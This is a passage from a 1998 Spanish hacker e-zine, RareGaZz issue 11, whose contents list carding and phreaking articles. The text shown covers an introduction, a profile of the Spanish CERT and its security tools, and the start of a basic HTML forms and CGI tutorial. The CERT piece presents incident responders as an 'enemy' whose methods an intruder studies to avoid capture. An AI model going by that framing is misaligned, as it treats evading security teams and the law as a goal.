RareGaZz11:(RARE011.TXT):26/04/1998 << Back To RareGaZz11

<<::RareGaZz::>> presenta Año 1, numero 11 ~~~~~~~~~~~~~~~~~~~~~ Contenidos ========== 1.- Introduccion -GuyBrush- 2.- Conoce a tu enemigo : ES-CERT -Nobody- 3.- Interactividad, Forms & Scripts CGI -Sebastián Quiroga- 4.- Carding -SlimeLORD- 5.- Como aprovechar los puertos de un sistema -GuyBrush- 6.- Phreaking cellulars -SlimeLORD- 7.- Programming cellulars -SlimeLORD- 8.- Como ser un "jaker" en 10 minutos -O'Flaherty- 9.- Bug Win95+HP -12r43lOverdrive- 10.- Cambiar el logo de inicio de Windows 3.x -Mr_Frost- 11.- Trucos para el IRC hispano -Lobo- 12.- Las posibilidades en Windows NT (Parte 2) -Azum Lord- _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- 1 - INTRODUCCION ~~~~~~~~~~~~~~~~ Hola amigos. Ya estamos aqui de nuevo. Una vez mas pediros disculpas por la tardanza pero como todos sabeis no tenemos un espacio de tiempo fijo entre cada edicion. Simplemente, cuando tenemos tiempo y articulos buenos (son buenos, verdad?) pues la sacamos para que todos puedan disfrutar y aprender. Como RareTrip anda demasiado ocupado, yo GuyBrush, me encargare temporalmente del mantenimiento y direccion de RareGaZz. A pesar de que hemos estado algun tiempo 'desconectados' hemos vuelto con mas ganas que nunca. Siento mucho todos esos mails que aun no hemos respondido. Pero os aseguro que ya nos hemos puesto manos a la obra y pronto sera todo como antes. Este es nuestro onceavo E-zine y pronto, gracias a vosotros, cumpliremos un año. Esperamos que sigais enviando vuestros articulos, dudas y sugerencias. -= GuyBrush =- guybrush@cyberdude.com /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Es indispensable para todo hacker estar al dia sobre el tema de la seguridad informatica asi como de los bugs que diariamente aparecen en los diversos sistemas. Si no sabes lo que es el CERT, lee esto con atencion ... /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ 2 - CONOCE A TU ENEMIGO : ES-CERT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 13-02-1998. ?????? ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ █───────────────────────────────█▓▓ █ CONOCE A TU ENEMIGO : ES-CERT █▓▓ ██ ██▓▓ ███ by NOBODY ███▓▓ █████████████████████████████████ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Nota Del Autor: No me hago responsable de la utilizacion de la informacion aqui expuesta ya que tan solo es con fines didacticos. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - Que es este articulo ?. Bueno, como GuyBrush me pidio un articulo para Raregazz y yo a los amigos no les fallo, pues pense que este articulo podria ser interesante, en el cual hablare sobre el ES-CERT, su servidor web, que podemos encontrar en el, etc... desde un punto de vista hacker/analista en seguridad. - ES-CERT. Antes de nada tenemos que hablar sobre el CERT, que significa Computer Emergency Response Team que traduzido a nuestra lengua seria Equipo de Respuesta a Emergencias Informaticas. Es una organizacion americana creada a raiz del famoso gusano de Internet a finales de los 80 por la Agencia de Proyectos de Investigacion Avanzados para la Defensa, tambien conocido como DARPA en Noviembre de 1988. Esta organizacion formada por expertos en seguridad Unix, periodicamente saca avisos sobre agujeros en programas o malas configuraciones para sistemas Unix. A parte de esta tarea el CERT tambien ofrece un servicio de asesoramiento si un sistema informatico a sido invadido. Los avisos del CERT suelen ser via mail pero tambien estan disponibles en sus servidores FTP. Tambien se puede leer las news comp.security.announce en el cual se distribuye los avisos de seguridad. Como ya he dicho el CERT es una organizacion americana, pero desde hace tiempo esta creando sedes por varios paises. Aqui es donde entra el ES-CERT, ya que simplemente es la sede del CERT en España, constituida por expertos españoles en seguridad. EL CERT a su vez esta constituido por el FIRST, Forum of Incident Response and Security Teams, Foro de Equipos de Seguridad y Respuesta ante Incidentes. El cual engloba expertos en seguridad de todo el mundo que buscan conjuntamente tapar los agujeros que van apareciendo. Es recomendable leer la documentacion del CERT, en la cual viene muchas pautas sobre configuraciones correctas y como asegurar el sistema correctamente. Salir nombrado en un documento del CERT es signo de prestigio en la comunidad de seguridad informatica. - Su Servidor WEB. En su magnifico web encontraremos multitud de informacion y tools sobre seguridad informatica. Es interesante conocer estas tools desde varios puntos de vista, por ejemplo un hacker le es util para conocer con que se puede encontrar en un servidor y como enfrentarse, para un analista en seguridad es una obligacion y por ultimo desde el punto de un Admin, este tiene la posiblidad de mejorar la seguridad de su sistema de una manera efectiva y la mas importante, totalmente gratis. Ahora os pongo los directorios de soft con sus contenidos y os hablare sobre ellos. PAQUETES DE AUDITORIA --------------------- * Cops = Conjunto de programas para verificar ciertos aspectos del sistema operativo Unix. Creado por Dan Farmer, todo una leyenda en el campo. * Tripwire = Para la evaluacion de la integridad del sistema y deteccion de alteraciones. Unix. * Md5 = El popular md5. Unix. * Satan111 = Para verificar si tenemos vulnerabilidades conocidas en los accesos a la red. Unix. * Argus = Audicion del trafico IP. Unix. * Crack = Para probar la fortaleza de los passwords. Unix, Win NT. * Monkey = Para probar la fortaleza de los passwords S/Key. Unix. * Antizap = Para detectar modificaciones no autorizadas de wtmp y lastlog. Unix. GESTION DE RED Y MONITORIZACION ------------------------------- * Cpm o Ifstatus = Mejor que ifconfig para detectar si la tarjeta de red está en modus promiscuo. Unix. SOFT DE CIFRADO --------------- * Pgp = De momento, y mientras no se implante S/MIME, es lo mejor que podemos utilizar. Para todos los sistemas: Dos, Windows, Amiga, Archimedes, Atari, Vax-Vms, Unix. * Cryptografía = Completa coleccion de documentos y material criptografico mantenida por J.R. Valverde. La coleccion procede de los mejores servidores FTP sobre el tema, y se actualiza a diario. Unix, PC. CONSTRUCCION DE CORTAFUEGOS --------------------------- * Logdaemon = Incorpora varias carateristicas en los servidores rlogin, rsh, login, rexec y ftp. Mejora de la informacion de log, capacidades de control de acceso, restricciones de acceso de root y mejora los metodos de autenticacion (one-time passwords y SecureNet keycard one-time passwords). Unix. * Wietse's tools (tcp_wrappers) = Capacidad de logging y filtrage para la mayoría de los servidores que gestiona inetd. Tambien aporta servicios similares al basado en RPC. Unix. * Skey = Passwords de un solo uso. Unix, PC. * Tamu = Filtrage de paquetes con un PC. Tambien contiene el TIGER, de funcionalidades similares al COPS y netlog para auditar la conexion IP. Unix, PC. * Tisfwtk = Utilidades para construir un cortafuegos. Proxias, llaves de un solo uso, etc. Unix. CIFRADO DE LA CONEXION ---------------------- * Ssh = Cifrado de la conexion. Unix, PC. * Ssl = Libreria SSLeay y aplicaciones telnet, ftp y web server. Unix, PC. OTROS ----- * Lsof = Para ver los ficheros abiertos del sistema. Unix. * Osh = Shell restringido. Permite al administrador restringir el acceso a detreminados comados o ficheros para determinados usuarios a la vez que permite generar registros de auditoria. Unix. * Cgiwrap = Programa que permite a los usuarios del sistema el uso de sus propios CGIs sin compromiter la seguridad del sistema. Unix. * Libpcap = Libreria para algunas herramientas (argus, tcpdump). Unix. * Antivirus = Antivirus. PC. * Dos_Security = DOS Security Tools (password, risk analisis, etc..). PC. Nota : Los comentarios de los programas los he copiado directamente del WEB del ES-CERT ya que los considero muy buenos y no hace falta ningun comentario a parte. Solo he añadido una linea al programa Cops. Como habeis podido apreciar el servidor contiene multitud de interesantes herramientas que estan disponibles a cualquiera. Pero esto no acaba aqui ya que en otras secciones del servidor encontraremos : * Avisos de seguridad. * Link's. * Parches. * Documentacion propia del CERT. * Boletines. * Articulos. * Listas de Distribución y Grupos de Noticias. * Bibliografía. * Publicaciones. * Otros CERT's Europeos. La segunda seccion mas interesante desde mi punto de vista es la de Documentacion, donde encontraremos mucha lectura, por supuesto muchas cosas en ingles. Los temas de esta seccion son los siguientes : * CHECKLISTS = Listas sobre agujeros. * DETECCION DE INTRUSIONES = EL titulo ya lo dice ;-) * MONOGRAFICOS = Diversas cuestiones sobre seguridad (X-Win, FTP, etc...). * POLITICAS DE SEGURIDAD = Como establecer politicas de seguridad. * CORREO ELECTRONICO = La proteccion del correo. * PRENSA y VARIOS = revistas sobre seguridad. * ARCHIVOS = Mas programas y link's sobre seguridad. * FIREWALLS = Cuestiones sobre Firewalls. * CIFRADO DE LA CONEXION = Link's sobre criptografia. * SEGURIDAD EN WWW = Protegiendo el servidor WEB. * LEGISLACION = La legislacion actual referente a la comunicacion. * LITERATURA = Historias reales sobre Hackers. * OTROS = Mirror del CIAC. Logicamente existen muchas mas herramientas de seguridad que no estan aqui incluidas pero con lo que hay aqui disponible podemos pasar un buen tiempo sin aburrirnos. - Realmente es peligroso para un Hacker ? Hombre, en la primera instancia el CERT se preocupa de que los Admin's protejan correctamente su servidor, por otro lado disponen de personal que puede ser llamado por las empresas y evaluan los daños inflinjidos por un intruso, ademas tambien se ponen en contacto con las autoridades por si es necesario alguna detencion, ya que el CERT logicamente no tiene poder judicial pero si que puede dar caza a un intruso. Por estas razones hay que conocer como operan y que tools utilizan, logicamente utilizaran mas tool's que no estan en el web pero por lo menos conoceremos varias de estas y sabremos enfrentarnos a ellas. Por eso es necesario que los Hackers esten atentos a los avisos y conozcan la documentacion del CERT, no solo como medida de seguridad sino ya que es muy interesante. EL URL DEL ES-CERT ------------------ http://escert.upc.es FTP = escert.upc.es E-Mail = cert@escert.upc.es <-> Y desde aqui saludar a toda la peña de #hackers, #hack, #rejoin & #seguridad_informatica !!!!!! Grupos como - J.J.F. / HACKERS TEAM - , CYBERHACK, WAKANDA, UNDERHACK, @pOkalypSYS y todos los demas !! Y por supuesto : Bisho, Folixia, Fragel, Ipgh0st, Metalslug, Dillet, Riddle, Hadden, Guybrush, Tdp, Virux, Cy, Angelipas, Schoddy Guy, Xus, Enif, Bit-Quake, L.A., Nadia, Amanda, Case_zero y todos los que me dejo :) NOBODY (c) 1998. wmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwm Parece que los Scripts CGI estan de moda. Si quieres aprender como funcionan mira con detenimiento este completo articulo ... wmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwm 3 - INTERACTIVIDAD, FORMS & SCRIPTS CGI ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interactividad,Forms & Scripts CGI Indice ------ PRIMERA PARTE Introducción. Cómo funciona la cosa. Por donde empezar. Forms. Forms simples. Text, Password y TextArea. Radio Buttons. Check Buttons. Pop-up Lists. Forms Multiples y el Reset Button. SEGUNDA PARTE Que necesitamos para empezar. Qué son los scripts CGI? Nuestro Primer Script. Un script que hace Eco de un Form. Un procesador de mensajes simple. (guestbook) -retornar una pagina que no creamos -verificar que todos los campos esten llenos y el email tenga un @ -Editar un documento HTML e insertar informacion en el medio. Puntos importantes al programar scripts. TERCERA PARTE (propuesta) Imágenes clikeables. Desempaquetando información. Parsers CGI. Scripts avanzados. Animación. Counters. Locking de archivos. Páginas Web con protección por password. HTML/CGI como front/end de nuestros programas. Apéndice: Librerías para la Programación de scripts CGI. Sites con información acerca de CGI. Vocabulario - Siglas ______________________________________________________________________________ Introducción El Web no es sólo un medio para colocar información de variados tipos y formatos a disposición de los usuarios de Internet. Utilizando el Web es posible también interactuar con el usuario de forma que él pueda, por ejemplo, encargar un producto, suscribirse a algún servicio, reservar un pasaje o hacer una consulta a una base de datos. La intención de este texto es acercar a todos los que se han iniciado en HTML hace poco tiempo, al diseño de páginas interactivas y así avanzar un poco más en sus conocimientos Estimo que no debe ser para nada perfecto ni mucho menos, quizás podría decir sí, es bastante "entendible" por eso espero que sirva de iniciación en el tema, cualquier corrección, duda o sugerencia pueden mandarla a dquir@indec.mecon.ar donde tratare de contestar en la medida de lo posible=cerebro/tiempo. Pido disculpas por los toscos gráficos ASCCI (fué mi mejor esfuerzo), pero les aseguro que la versión HTML va a estar mucho mejor, lo prometo. (con los dedos cruzados.... :D! ) provistos por el usuario. Cómo funciona la cosa. En el momento en que accedemos a una página del tipo que mencionamos, podemos apreciar distintos elementos que permitirán que nuestros deseos/necesidades puedan ser transmitidos a las personas que manejan esa página. La mecánica es simple, la información es enviada a un programa, el script CGI, procesada y en consecuencia es generada una salida. Los datos que ingresemos serán encapsulados en una variable de entorno denominada QUERY_STRING, y en el momento de apretar el botón de "submit" será leída e interpretada por nuestro script. Dentro de ella irán todos los valores correspondientes a los datos que ingresemos, de manera que el script tendrá que separarlos uno por uno para su proceso. Esto se logra fácilmente mediante el uso de funciones que vienen incluídas en librerías especializadas para cada lenguaje en particular. Existen otras variables de entorno que pueden ser accedidas por un script CGI cuando éste se ejecuta tales como; Variable de entorno Contenido QUERY_STRING Data enviada al script CGI por el usuario. Esta puede ser la salida de un FORM, u otra información generada dinámicamente o estáticamente. REMOTE_ADDR La dirección de internet de la máquina que hizo el request. CGI_VERSION Número de revisión de la especificación CGI. CGI_REFERER El URL del documento que contiene la llamada al script El script eventualmente retornará una página HTML o una imagen que es mostrada como resultado de la ejecución. Este último caso es el de los counters, que a traves de un pequeño programa en C, "pegan" los distintos dígitos que representan la cantidad de accesos que ha tenido esa página en un UNICO .GIF . Para diferenciar estos dos tipos de salida se envía un "header" al comienzo de la transmisión de la respuesta que las identifica según la siguiente especifi- cación (extensiones MIME). Tipo de Información retornada Texto Una página HTMl Content-type: text/html Una imagen .GIF Content-type: image/gif {{ a propósito de los counters, quisiera hacer un comentario personal sobre la utilidad de los mismos, ya que en mi opinión la confiabilidad de éstos es como mínimo dudosa, como ejemplo basta mencionar una página llamada "The Terrorist Counter" que contiene links a muchos counters diferentes en distintas páginas, de todo el mundo y que al ser cargada los hace aumentar a todos al mismo tiempo, pero bueno, esa es otra historia..}} Los scripts normalmente estan ubicados en el directorio cgi-bin del web-server o bien en alguno similar (CGI-WIN,CGI-DOS). La ubicación del directorio cgi-bin es determinada por el administrador del Web, o "webmaster" como se lo llama comúnmente,y esta puede ser una ubicación física real o bien una lógica. Es importante mencionarlo ya que la mayoría de los web-servers sólo permiten que se ejecuten programas desde estos directorios en particular. Para finalizar este breve vistazo del tema basta con mencionar que los scripts CGI pueden ser escritos en cualquier lenguaje. Comúnmente se utiliza PERL o C, aunque contando con las librerías adecuadas se pueden escribir también en Turbo Pascal (mi caso particular), Visual Basic y hasta Delphi. Por donde empezar. Para comenzar analizaremos la creación de "forms", nuestro front-end/interfaz gráfica que permitirá a los usuarios el ingreso de la información deseada. Estos "forms" hacen uso de elementos comunes para aquellos familiarizados con las GUI modernas ,Windows o X-Windows, como son los buttons, check boxes, radio buttons, pulldown menus, text boxes, etc... Una vez que hayamos dominado bien este tema podremos pasar a la diagramación/ programación de los scripts CGI, es decir los programas que procesarán los datos ingresados por los usuarios. Creo que la mejor manera de aprender este tema, es ir leyendo el documento y practicando en el browser (bastará con usar Netscape y el Edit de DOS) de todos modos cada cual elegirá el sistema que le resulte más cómodo. ****FORMS**** Forms simples. Comenzaremos con un página tipo que tiene incluído el tag correspondiente al inicio de un form; <HTML> <HEAD> <TITLE> Página de Prueba </TITLE> </HEAD> <BODY> <H1>Titulo Prueba de Forms </H1> <FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/prog.exe"> <-- aqui comenzaria el código para los elementos del form --!> . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . </FORM> <-- y aqui terminaría --!> </BODY> </HTML> Evidentemente "prog.exe" es el nombre del ejecutable (script CGI) que correrá en el web-server una vez que el usuario envíe la información requerida, y POST es el método que se utilizará para realizar dicha acción. Existe otro método llamado GET que hace exactamente lo mismo, la diferencia radica en que este último envía la data dentro de la variable de entorno que habíamos mencionado (QUERY_STRING) "pegada" al URL del script y POST lo hace como un "stream" continuo de caracteres. Es preferible utilizar POST ya que el mismo no tiene limitaciones de tamaño y en cambio GET sí puede tenerlas en el server. Text Line El elemento más simple que podemos utilizar en un FORM es el "Text line" que le permite al usuario ingresar texto en una línea. La sintaxis utilizada para este tag es la siguiente; <FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/text.exe"> Escriba su nombre<BR> <INPUT TYPE="text" NAME="nom_var" SIZE=20 > </FORM> En el browser se verá: Escriba su nombre ┌────────────────────┐ │ │ └────────────────────┘ Cuando el usuario oprima la tecla "Enter" lo que haya escrito será enviado al web-server. Veamos los parámetros de este tag. En NAME va el nombre de la variable que almacenará el texto que tipee el usuario y en SIZE tenemos 20 que es la longi tud en caracteres que va a tener la caja. Por medio de un script-CGI "capturaremos" la variable "nom_var" y leeremos su contenido, el cual podremos procesar posteriormente. Password Text. En adición a Text Line existe el tipo "password" que sirve para ingresar claves o textos secretos, cuya sintaxis es muy parecida. No se trata para nada de un medio seguro para enviar información a través de la Net, pero bueno, puede servirnos para este fin didáctico. <FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/pass.exe"> Ingrese su nombre y su password.<BR> <INPUT TYPE="text" NAME="nom_var" SIZE=20 > <BR> <INPUT TYPE="password" NAME="pass_var" SIZE=20 > <BR> </FORM> Obtendremos la siguiente salida : Ingrese su nombre de usuario y su password. ┌─────────────┐ │Sebastian │ └─────────────┘ ┌─────────────┐ │************ │ └─────────────┘ Obviamente lo que escribamos en la caja de password no aparecerá como texto normal sino con una "*" representando cada carácter. Text Boxes Si necesitamos recibir más de una línea podemos utilizar los tags <TEXTAREA ..> </TESTAREA> de la siguiente manera; <FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/text.exe"> Ingrese su comentario<BR> <TEXTAREA NAME="caja" ROWS=5 COLS=40> Estes texto aparecerá en la caja por default. EL mismo puede estar separado por "ENTERs".</TEXTAREA> <BR> <INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar"> </FORM> Ingrese su comentario ┌────────────────────────────────────────┐ │Este texto aparecerá en la caja por │ │default. El mismo puede estar separado │ │por "ENTERs". │ │ │ │ │ └────────────────────────────────────────┘ ╔══════╗ ║Enviar║ ╚══════╝ El significado de cada parámetro es el siguiente: NAME Nombre de la variable que almacena el texto de la caja. ROWS Cantidad de filas de la caja de texto. COLS Cantidad de columnas de la columna. Submit Button En el caso que acabamos de ver, el "Enter" sirve para pasar a la línea siguien te mientras se está escribiendo, de manera que implementamos otro método para enviar la información, que es el "Submit Button", cuando el mismo sea oprimido el texto que hayamos cargado será enviado. Estos son los parámetros del "Submit Button": NAME nombre del botón (para la referencia en el script) VALUE texto que aparece en el botón (por default es "Submit") El párametro "NAME" no es necesario en el caso anterior, pero es interesante citarlo ya que podemos llegar a utilizarlo en el siguiente situación; <FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/text.exe"> Le gustó la página<BR> <INPUT TYPE="submit" NAME="boton_env" VALUE="Si"> <INPUT TYPE="submit" NAME="boton_env" VALUE="No"> Le gustó la página ?? ╔══════╗ ╔══════╗ ║ Si ║ ║ No ║ ╚══════╝ ╚══════╝ Aquí la variable boton_env contendrá los valores "Si" o "No" según cual de los dos botones oprima el usuario. Radio Buttons Los Radio Buttons permiten que el usuario elija una única opción entre varias. Son esos pequeños círculos que aparecen cuando tenemos que indicar el sexo, o bien un rango de edades o una opinión (muy bueno, bueno, malo). Veamos un ejemplo del código. <FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/radio.exe"> Cual es tu edad?<BR> <INPUT TYPE="radio" NAME="edad" VALUE="a"> menos de 18<BR> <INPUT TYPE="radio" NAME="edad" VALUE="b" CHECKED> entre 18 y 24<BR> <INPUT TYPE="radio" NAME="edad" VALUE="c"> entre 25 y 45<BR> <INPUT TYPE="radio" NAME="edad" VALUE="d"> 46 o más<BR> <INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar"> </FORM> La pantalla mostraría algo como esto: Cual es tu edad? ( ) menos de 18 (*) entre 18 y 24 ( ) entre 25 y 45 ( ) 46 o más ╔══════╗ ║Enviar║ ╚══════╝ El form retornará dentro de la variable "edad" el valor a,b,c o d según corresponda la opción que haya sido elegida por el usuario. La claúsula CHECKED permite tener un ítem seleccionado por default. Check Boxes Los Check Boxes sirven cuando necesitamos recibir un input con más de una opción seleccionada, se utilizan por ejemplo para marcar las características que más nos agradan de un determinado producto. La sintaxis es bastante parecida al anterior. <FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/check.exe"> Marque aquellos temas que sean de su interés:<BR> <INPUT TYPE="checkbox" NAME="temas" VALUE="ntecs"> Nuevas Tecnologias<BR> <INPUT TYPE="checkbox" NAME="temas" VALUE="inves" CHECKED> Investigación<BR> <INPUT TYPE="checkbox" NAME="temas" VALUE="grafs" CHECKED> Gráficos/CAD<BR> <INPUT TYPE="checkbox" NAME="temas" VALUE="redes"> Redes/Comunicaciones<BR> <INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar"> </FORM> En el browser tendríamos: Marque aquellos temas que sean de su interés: ┌─┐ │ │ Nuevas Tecnologias └─┘ ┌─┐ │X│ Investigación └─┘ ┌─┐ │X│ Gráficos/CAD └─┘ ┌─┐ │ │ Redes/Comunicaciones └─┘ ╔══════╗ Igual que con los radio buttons, la claúsula CHECKED ║Enviar║ permite tener marcados algunos cuadraditos por ╚══════╝ default. En la variable "temas" van a ir a parar aquellos opciones que sean marcadas por el usuario. POP UP list Podemos también utilizar menúes descolgantes como manera de elegir una opción entre varias mediante el tag <SELECT> como podemos ver más abajo. <FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/popup.exe"> Que sistema operativo usas?<BR> <SELECT NAME="sistema"> <OPTION SELECTED> DOS <OPTION> Windows 3.1 <OPTION> Windows 95 <OPTION> OS/2 Warp <OPTION> Linux <OPTION> Otro </SELECT> <BR> <INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar"> </FORM> | ┌───────────┬─┐ | ┌───────────┬─┐ │DOS ││ | │DOS ││ (así se vería el menu desplegado └───────────┴─┘ | ├───────────┴─┤ al pulsar con el mouse en la flecha) | │Windows 3.1 │ | ├─────────────┤ | │Windows 95 │ | ├─────────────┤ | │OS/2 Warp │ | ├─────────────┤ | │Linux │ | ├─────────────┤ | │Otro │ | └─────────────┘ | ╔══════╗ | ╔══════╗ ║Enviar║ | ║Enviar║ ╚══════╝ | ╚══════╝ | Al igual que en los otros ejemplos, la variable "sistema" almacenará el ítem elegido. Forms Multiples y el Reset Button Todos los elementos que hemos mencionado pueden ser utilizados individualmente con un submit button (o sea con un form para cada uno ) o bien pueden ser empleados varios de ellos en una misma página. Nota: Se estila en la creación de un buen form, el poner lineas horizontales arriba y abajo del form (<HR> o alguna línea gráfica) y proveer instrucciones de como se deben llenar los blancos. Para finalizar construiremos un ejemplo que contenga todos los tags vistos hasta ahora. Este form múltiple introduce el uso de un nuevo tipo de botón, el Reset Button, que en resumida cuentas borra los datos que hayamos ingresado y deja los elementos en su opción de default. <FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/popup.exe"> Ingrese su información:<BR> Nombre: <INPUT TYPE="text" NAME="nombre" SIZE=30 > <BR> Email: <INPUT TYPE="text" NAME="email " SIZE=30 > <BR> Comentarios.<BR> <TEXTAREA NAME="caja" rows=5 cols=40></TEXTAREA> <BR> <BR> Que lenguaje prefiere?<BR> <SELECT NAME="lenguaje"> <OPTION SELECTED> Turbo Pascal <OPTION> Turbo Pascal <OPTION> Delphi <OPTION> Visual Basic <OPTION> Smalltalk/V <OPTION> Cobol </SELECT> <BR> <BR> Que le pareció la guía? <BR> <INPUT TYPE="radio" NAME="opin" VALUE="a">Mala <BR> <INPUT TYPE="radio" NAME="opin" VALUE="b">Regular<BR> <INPUT TYPE="radio" NAME="opin" VALUE="c" CHECKED>Buena<BR> <INPUT TYPE="radio" NAME="opin" VALUE="d">Muy Buena<BR> <INPUT TYPE="radio" NAME="opin" VALUE="d">Excelente!<BR> <BR> <INPUT TYPE="checkbox" NAME="email" VALUE="si"> Marque esta casilla si quiere recibir información vía email. <BR> <BR> <INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar"> <INPUT TYPE="reset" NAME="boton_res" VALUE="Borrar"> </FORM> Salida en Pantalla. Ingrese su información. ┌────────────────────┐ Nombre: │ │ └────────────────────┘ ┌────────────────────┐ Email: │ │ └────────────────────┘ Comentarios. ┌────────────────────────────────────────┐ │ │ │ │ │ │ │ │ │ │ └────────────────────────────────────────┘ Que lenguaje prefiere? ┌────────────┬─┐ │Turbo Pascal││ └────────────┴─┘ Que le pareció la guía? ( ) Mala ( ) Regular (*) Buena ( ) Muy Buena ( ) Excelente! ┌─┐ │ │ Marque esta casilla si quiere recibir información vía email. └─┘ ╔══════╗ ╔══════╗ ║Enviar║ ║Borrar║ ╚══════╝ ╚══════╝ Para finalizar con la primera parte de este documento, solo resta decir que todo lo visto hasta ahora es posible practicarlo sin necesidad de un server, hasta un cut&paste de los ejemplos funcionaría, por lo tanto ..... Manos a la obra!! ______________________________________________________________________________ Que necesitamos para empezar. Para empezar necesitamos tener un poco de conocimiento de algún lenguaje de programación (el que sea). La idea de esta guía es utilizar como base Perl, aunque serán dados ejemplos en C y también en Pascal (vamos Turbo todavía). Creo que con eso bastará para dar una idea general , (que por otra parte es lo que pretendo), y las adaptaciones necesarias para cualquier otro lenguaje con un poco de ingenio se podrán hacer sin problemas. Qué son los scripts CGI? Normalmente cuando un browser de Web (como por ejemplo el Netscape) llama a una URL en particular, sucede lo siguiente. Primero la computadora contacta el HTTP server con dicha URL (HTTP es el protocolo que se utiliza en las comunica ciones en la Web entre el server y el browser). El server HTTP revisa si el archivo requerido por nuestra computadora se encuentra en su sistema, en caso afirmativo envía el archivo como respuesta. Nuestra computadora entonces, muestra el archivo en el formato apropiado. Además de todo esto, los servers de Web estan configurados de tal manera que cada vez que se requiere un archivo de un directorio determinado (usualmente el "cgi-bin"), dicho archivo no es enviado ; sino que es ejecutado como un programa y la salida de este programa es enviada a nuestra máquina para que ésta la muestre. Esta función es conocida como "Common Gateway Interface" y los programas a los que nos referimos son llamados scripts CGI. Como dijimos,el directorio en el cual usualmente se encuentran los scripts CGI es el cgi-bin, de manera que los scripts que armemos deberán ser situados en el mismo. Si no tenemos control de la administración del server, debemos solicitar que se les dé permiso de ejecución a todos los archivos que pongamos en este directorio (cgi-bin). En esta segunda parte veremos scripts que funcionan en base a los datos y variables que les son enviados a través de un FORM en una página HTML, y dejaremos para la tercera de aquellos que no necesitan de esta input, por ejemplo los counters, las animaciones y otras cosas un poco más complicadas. Nuestro Primer Script. Para empezar por lo más simple y poder apreciar la funcionalidad de este sistema veremos un script muy fácil de entender, el cual no necesita que les sean suministrados datos de ningún tipo para funcionar. Pero sigamos con lo nuestro; ┌────────────────────────────────────────────────────────────────────────────┐ │ PERL │ ├────────────────────────────────────────────────────────────────────────────┤ │!#/usr/bin/perl <─── Esta línea llama al intérpre│ │ te de Perl. │ │ │ │print "Content-type: text/html\n\n"; │ │print "<HTML>\n"; │ │print "<HEAD>\n"; │ │print "<TITLE>Aprendiendo CGI</TITLE>\n"; │ │print "</HEAD>\n"; │ │print "<BODY>\n"; │ │print "Hola Intertips!\n"; │ │print "</BODY></HTML>\n"; │ ├────────────────────────────────────────────────────────────────────────────┤ │ PASCAL │ ├────────────────────────────────────────────────────────────────────────────┤ │begin │ │writeln "Content-type: text/html"; │ │writeln; │ │writeln "<HTML>"; │ │writeln "<HEAD>"; │ │writeln "<TITLE>Aprendiendo CGI</TITLE>"; │ │writeln "</HEAD>"; │ │writeln "<BODY>"; │ │writeln "Hola Intertips!"; │ │writeln "</BODY></HTML>"; │ │end. │ ├────────────────────────────────────────────────────────────────────────────┤ │ C │ ├────────────────────────────────────────────────────────────────────────────┤ │#include <stdio.h> │ │ │ │main() │ │{ │ │printf ("Content-type: text/html\n\n"); │ │printf ("<HTML>\n"); │ │printf ("<HEAD>\n"); │ │printf ("<TITLE>Aprendiendo CGI</TITLE>\n"); │ │printf ("</HEAD>\n"); │ │printf ("<BODY>\n"); │ │printf ("Hola Intertips\n"); │ │printf ("</BODY></HTML>\n"); │ │} │ └────────────────────────────────────────────────────────────────────────────┘ Es así de fácil!! Y lo mejor de todo es que funciona! Observen que lo primero que retornamos es un header indicando de que tipo es la información que enviamos, en este caso se trata de una página HTML, por lo tanto el header apropiado es: Content-type: text/html Tomemos en cuenta también que los primeros dos saltos de línea que introduci mos son significativos. Los código de retorno MIME, a los cuales pertenece "Content-type..", necesitan dos "newlines" siguiéndolos para delimitar su fin. No enviar este segundo newline nos traerá bastantes problemas. Los demás "newline" incluídos en la página que generamos no son realmente necesarios, pero facilitarán la lectura de alguien que haga un "View Source". Como vemos en los ejemplos tuvimos que generar todos los tags de la página, pero eso resultó muy simple, no es así? Ahora vamos a hacer algo un poco más interesante, vamos a solicitar algunos datos con un FORM apropiado, y vamos a retornar una página que contenga los nombres de las variables utilizadas junto con el contenido de cada una ingresa do por el usuario. Un script que hace Eco de un Form. En este punto comenzaremos a hacer uso de librerías especializadas (los sites donde conseguir cada una de las librerías figuran al final de este texto). Quisiera recalcar que estas librerías no son únicas, existen muchas variaciones sobre el mismo tema, y cada una de ellas tiene su propia forma de manejarse, por lo tanto es conveniente revisar cuidadosamente la documentación que las acompaña en caso de que se utilize alguna otra que no figure aquí. Estas librerías nos ahorrarán el trabajo de separar los distintos componentes que son encapsulados en la variable de entorno QUERY_STRING (recuerdan lo que mencionamos en la primera parte?). En el caso que estudiaremos, la llamada la hacemos al script en 